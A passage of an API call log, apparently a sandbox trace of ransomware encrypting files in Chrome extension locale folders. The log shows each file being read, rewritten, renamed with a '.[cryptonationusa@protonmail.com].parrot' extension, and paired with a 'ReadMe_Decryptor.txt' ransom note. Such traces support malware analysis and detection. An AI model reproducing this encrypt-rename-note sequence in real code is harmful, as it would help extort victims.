[0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0055.144] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x202, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.144] CloseHandle (hObject=0x280) returned 1 [0055.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d56d8 [0055.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5810 [0055.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d56d8 | out: hHeap=0x5b0000) returned 1 [0055.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5810 | out: hHeap=0x5b0000) returned 1 [0055.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0055.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0055.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240e60 [0055.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d56d8 [0055.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0055.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0055.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.147] GetFileType (hFile=0x280) returned 0x1 [0055.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0055.157] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.158] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.158] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafcea360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0055.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0055.158] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d54c0 [0055.158] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafd104c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0055.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.158] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0055.158] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafd104c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0055.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0055.158] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0055.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0055.158] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0055.158] lstrcmpW (lpString1="el", lpString2=".") returned 1 [0055.158] lstrcmpW (lpString1="el", lpString2="..") returned 1 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240d38 [0055.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0055.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0055.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5648 [0055.158] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.159] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.159] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.159] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.159] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0055.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0055.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.159] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.159] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0x112 [0055.159] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22a, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.159] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.160] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0055.160] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.161] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x112, lpOverlapped=0x0) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0055.161] GetLastError () returned 0x0 [0055.161] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0055.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5da420 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da420 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d5860 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x238) returned 0x5d59a8 [0055.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5860 | out: hHeap=0x5b0000) returned 1 [0055.162] WriteFile (in: hFile=0x280, lpBuffer=0x5d59a8*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d59a8*, lpNumberOfBytesWritten=0x18da44*=0x238, lpOverlapped=0x0) returned 1 [0055.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d59a8 | out: hHeap=0x5b0000) returned 1 [0055.163] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.163] CloseHandle (hObject=0x280) returned 1 [0055.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d5860 [0055.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5998 [0055.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5860 | out: hHeap=0x5b0000) returned 1 [0055.164] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5998 | out: hHeap=0x5b0000) returned 1 [0055.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0055.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0055.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240ba8 [0055.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d5860 [0055.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0055.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0055.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.311] GetFileType (hFile=0x280) returned 0x1 [0055.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0055.323] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.323] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafe8d280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.323] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafd36620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0055.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0055.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0055.324] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d5648 [0055.324] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafe8d280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafeb33e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0055.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0055.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.324] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0055.324] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafe8d280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafeb33e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0055.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0055.324] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0055.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0055.324] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0055.324] lstrcmpW (lpString1="en_GB", lpString2=".") returned 1 [0055.324] lstrcmpW (lpString1="en_GB", lpString2="..") returned 1 [0055.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0055.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0055.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0055.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0055.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240d38 [0055.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d57d0 [0055.324] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.325] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.325] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.325] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.325] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.325] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0055.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0055.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.325] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.325] CreateFileW 